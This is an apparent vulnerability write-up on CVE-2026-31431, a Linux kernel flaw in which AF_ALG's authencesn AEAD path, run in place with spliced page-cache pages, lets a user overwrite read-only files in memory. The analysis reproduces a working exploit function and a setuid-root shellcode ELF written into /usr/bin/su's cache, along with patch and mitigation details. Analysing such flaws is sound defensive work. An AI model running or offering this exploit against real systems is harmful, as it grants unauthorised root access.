AF_ALG is the userspace door, splice is what made it dangerous
The kernel's in-tree crypto subsystem implements every block cipher, hash, AEAD, and KDF the kernel uses internally: IPsec, dm-crypt, kTLS, fscrypt, the lot. AF_ALG is the userspace face of that subsystem. A process opens socket(AF_ALG, SOCK_SEQPACKET, 0), binds a name like ("aead", "authencesn(hmac(sha256),cbc(aes))"), sets a key via setsockopt, accepts a child socket for one operation, sends data, receives the transformed data. The interface is documented in Documentation/crypto/userspace-if.rst and was added in 2014.
algif_aead is the AEAD frontend. The interesting variant for this CVE is authencesn, the IPsec authenticated-encryption template that combines an HMAC with a block cipher and an Extended Sequence Number. It is the userspace-callable version of the same algorithm Linux runs when it terminates an IPsec tunnel.
The TX side of an algif_aead operation is a chained scatterlist. Userspace can append to it two ways. sendmsg(MSG_MORE) copies bytes from a userspace buffer into kernel-allocated pages and chains them into the SGL. splice(target_fd, op_fd, ...) moves pages, without copying, from a source file descriptor into the same SGL. Splice is the path that matters here. When the source FD is a file open O_RDONLY, the pages that get chained into the TX SGL are pages from that file's page cache. Read-only mappings, kernel-resident, shared with every other process that has the file open or mmap'd.
Pre-2017, the AEAD operation ran out-of-place. The kernel allocated a separate destination buffer, the cipher read the SGL and wrote the buffer, the buffer was copied to userspace at recv time. Commit 72548b093ee3 ("crypto: algif_aead - overhaul memory management"), merged into Linux 4.14, made the operation in-place: req->src and req->dst became the same scatterlist. Cipher reads and cipher writes both went through the SGL. The optimization saved a copy on every op.
It also moved the destination of every cipher-internal write into pages the userspace caller had supplied.
The algorithm writes four bytes past its output, and always has
crypto_authenc_esn_decrypt is the decrypt path of the authencesn template in crypto/authencesn.c. Like every authenticated decryption it does three things: verify the HMAC tag over (AAD || ciphertext), decrypt the ciphertext to plaintext, return the plaintext. authencesn's specific complication is the Extended Sequence Number. The wire format carries only the low 32 bits of the IPsec sequence number; the HMAC has to be computed over a synthetic AAD that includes the high 32 bits as well. The algorithm gets the high bits from its request structure and has to splice them into the AAD before computing the HMAC.
To do that without an extra allocation, the implementation borrows four bytes of the destination buffer as scratch. It saves four bytes of the input, writes the high-SeqNum bits in their place, computes the HMAC, restores the original. The save lands at offset assoclen + cryptlen in dst, which is one byte past the end of where the plaintext will eventually be written. The line, unchanged in mainline through this CVE:
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
The fifth argument is out=1: this is a write into the scatterlist, not a read from it. Four bytes at offset assoclen + cryptlen of dst get overwritten.
Within the algorithm's design the write is invisible: the destination buffer is the algorithm's own work area, the scratch is overwritten by real plaintext as decryption progresses, the borrow is paid back. It has been that shape since the template shipped. Of every caller of authencesn inside the kernel, none cared, because none of them passed a destination buffer they did not own.
Until algif_aead ran in-place and splice taught userspace how to fill dst with page cache.
Forty round trips, four bytes each, into /usr/bin/su's page cache
The Theori PoC is two files. copy_fail_exp.py is the exploit; the README lists four kernel versions it has been tested against, including stock 6.17/6.18 on Ubuntu 24.04, Amazon Linux 2023, RHEL 10.1, and SUSE 16. The exploit body is one function repeated:
def patch(target, offset, word):
s = socket(AF_ALG, SOCK_SEQPACKET, 0)
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(SOL_ALG, ALG_SET_KEY,
b'\x08\x00\x01\x00\x00\x00\x00\x10' + b'\x00'*32)
s.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
u, _ = s.accept()
u.sendmsg([b'A'*4 + word],
[(SOL_ALG, ALG_SET_OP, b'\x00'*4), # DECRYPT
(SOL_ALG, ALG_SET_IV, b'\x10' + b'\x00'*19), # ivlen=16
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b'\x08\x00\x00\x00')], # assoclen=8
MSG_MORE)
r, w = pipe()
splice(target, w, offset+4, offset_src=0)
splice(r, u.fileno(), offset+4)
try: u.recv(8 + offset)
except OSError: pass
target is os.open("/usr/bin/su", O_RDONLY). offset is the byte position inside /usr/bin/su where the attacker wants the four-byte payload to land. word is the four-byte payload.
Each call sets up an AEAD-decrypt operation, sends eight bytes inline ("AAAA" followed by word), and then splices offset+4 bytes from /usr/bin/su into the same operation. The TX scatterlist now holds, in order: eight bytes of inline data, then offset+4 bytes of the file's first page from the page cache. Total length: offset + 12.
recv tells the kernel to drain the operation. With assoclen=8, total length offset+12, and authsize=4, the kernel computes cryptlen = (offset+12) - 8 - 4 = offset. Inside crypto_authenc_esn_decrypt, the line above fires: four bytes get written to dst at offset assoclen + cryptlen = 8 + offset. Bytes 0 through 7 of dst are the inline payload. Bytes 8 onward are the spliced file-page region. Offset 8 + offset lands at byte offset of /usr/bin/su's page cache.
The four bytes that land are not literally word. They are derived from the algorithm's internal state, which is in turn derived from the cipher inputs the attacker supplied: the key, the IV, the AAD, the ciphertext. The attacker chose all four. With the parameters in the PoC, the four bytes deposited at file offset offset are exactly word. The attacker writes word, the kernel computes word, the page cache holds word.
The outer loop is forty iterations, four bytes per iteration, sweeping offsets 0 through 156 of /usr/bin/su's first page. The 160 bytes that get written are a self-contained ELF: a 64-byte ELF header, a 56-byte program header for one PT_LOAD segment marked R+X, and a 40-byte payload at entry point 0x400078:
31 c0 xor eax, eax
31 ff xor edi, edi
b0 69 mov al, 0x69 ; sys_setuid
0f 05 syscall
48 8d 3d 0f 00 00 00 lea rdi, [rip+0xf]
31 f6 xor esi, esi
6a 3b push 0x3b ; sys_execve
58 pop rax
99 cdq
0f 05 syscall
; "/bin/sh\0"
After the loop, /usr/bin/su's page cache holds an ELF that calls setuid(0) and then execve("/bin/sh", NULL, NULL). The exploit calls os.system("su"). The kernel's exec path reads the file through the page cache, finds the modified ELF, applies /usr/bin/su's setuid bit, runs the payload as root.
The bytes on disk are unchanged. The page cache is never marked dirty. There is no writeback to the filesystem. A reboot, or any pressure that drops these specific pages, restores the original su. While the cache holds the modified pages, every process that exec's /usr/bin/su runs the attacker's payload.
The cipher template is incidental; the destination is the bug
The Crihexe variant of the exploit (copy-fail-tiny-elf-CVE-2026-31431) is a 410-byte position-independent ELF that contains, at virtual address 0x400008, the algorithm name string it binds the AF_ALG socket to:
authencesn(hmac(md5),ecb(cipher_null))
hmac(sha256) becomes hmac(md5). cbc(aes) becomes ecb(cipher_null). The PoC works. The cipher does not encrypt anything; the hash is broken; the bind succeeds because the kernel's crypto registry composes the template at request time. The four-byte scratch write happens because authencesn is the outer template, and authencesn's logic is what writes it. The choice of inner algorithms is an implementation detail of the input the attacker uses to pin the four bytes to whatever value they want.
This is the part the cipher-name in the CVE description obscures. CVE-2026-31431 is not a bug in CBC-AES, not a bug in HMAC-SHA256, not a bug in any specific cipher. It is a bug in the AAD-relocation step of the authencesn template, which is the same step regardless of what is plugged into the inner brackets. Any AEAD template that scratches its dst behaves the same way under in-place algif_aead with spliced page cache. The kernel's crypto registry exposes more than two hundred AEAD templates by name through AF_ALG. The catalog of algorithms to which this primitive applies is the catalog of AEADs that compose like this, and authencesn is the first one publicly demonstrated.
The patch reverts the 2017 optimization
The fixes that landed on April 11, 2026 (commit a664bf3d603d in mainline; fafe0fa2995a for 6.18.22; ce42ee423e58 for 6.19.12) restore algif_aead to out-of-place operation. req->src and req->dst are no longer the same scatterlist. The kernel allocates a destination buffer, the AEAD operation runs into that buffer, the result is copied back to userspace at recv time. The 2017 optimization is gone.
crypto/authencesn.c is untouched. crypto_authenc_esn_decrypt still calls scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1). The four bytes still land at offset assoclen + cryptlen of dst. The difference is what dst is: a kernel-allocated buffer the algorithm's caller owns, instead of a chained SGL whose pages the algorithm has no way of inspecting. The algorithm's contract, "I get to scratch in my output region," was always written in the algorithm's head and never enforced anywhere. For nine years the contract held because the only callers of authencesn that put foreign pages into dst did not exist yet. Once splice fed page-cache pages into the in-place algif_aead path, the contract was decoration. Decoration does not stop a memcpy.
The fix does not apply cleanly to longterm trees. Sam James's reply on oss-security on April 30 enumerates them: 6.12, 6.6, 6.1, 5.15, 5.10. The recommended interim mitigation is to disable the algif_aead module entirely:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
The mitigation breaks any userspace that depends on the kernel's AEAD interface. In practice the module is rarely loaded outside of explicit testing; most production crypto runs in userspace libraries. The mitigation also leaves algif_skcipher and algif_hash in place. Neither has been demonstrated to expose this exact primitive. Neither has been audited against the same question.
CISA listed CVE-2026-31431 in the Known Exploited Vulnerabilities catalog with a remediation deadline of May 15, 2026. The first PoC repository on GitHub (theori-io/copy-fail-CVE-2026-31431) is dated April 29. By the morning of May 2, more than a hundred and thirty separate PoC repositories were live. One is a container-escape variant against runC; one is a Kubernetes-pod variant; one is a port to a constrained Java runner inside a sandboxed cloud function. The remainder are direct copies, ports, or detection scripts. The 821-star repo is the original.
Borrowed pages were always going to be the destination
This is the borrowed-pages-as-scratch pattern. A subsystem performs a fixed-size scratch write into a destination buffer under an internal contract that it owns the memory. A different subsystem supplies the buffer with foreign-owned pages, page cache here, mapped device or peer-process memory in other instances. The contract is documentation; the legitimate scratch becomes a write primitive across a trust boundary nobody guards.
The shape will reproduce in any subsystem where two of the kernel's internal contracts disagree about who owns the destination, and a userspace path can cross between them. AF_ALG plus splice is the documented one. io_uring fixed-buffer writes into mappings of read-only files, direct I/O races against in-place file ops, GUP-pinned pages handed to transforms that assume kernel ownership: same shape, different parties. The CVE list is the part visible above the water.
The algorithm did not change. The destination did.
PoC: theori-io/copy-fail-CVE-2026-31431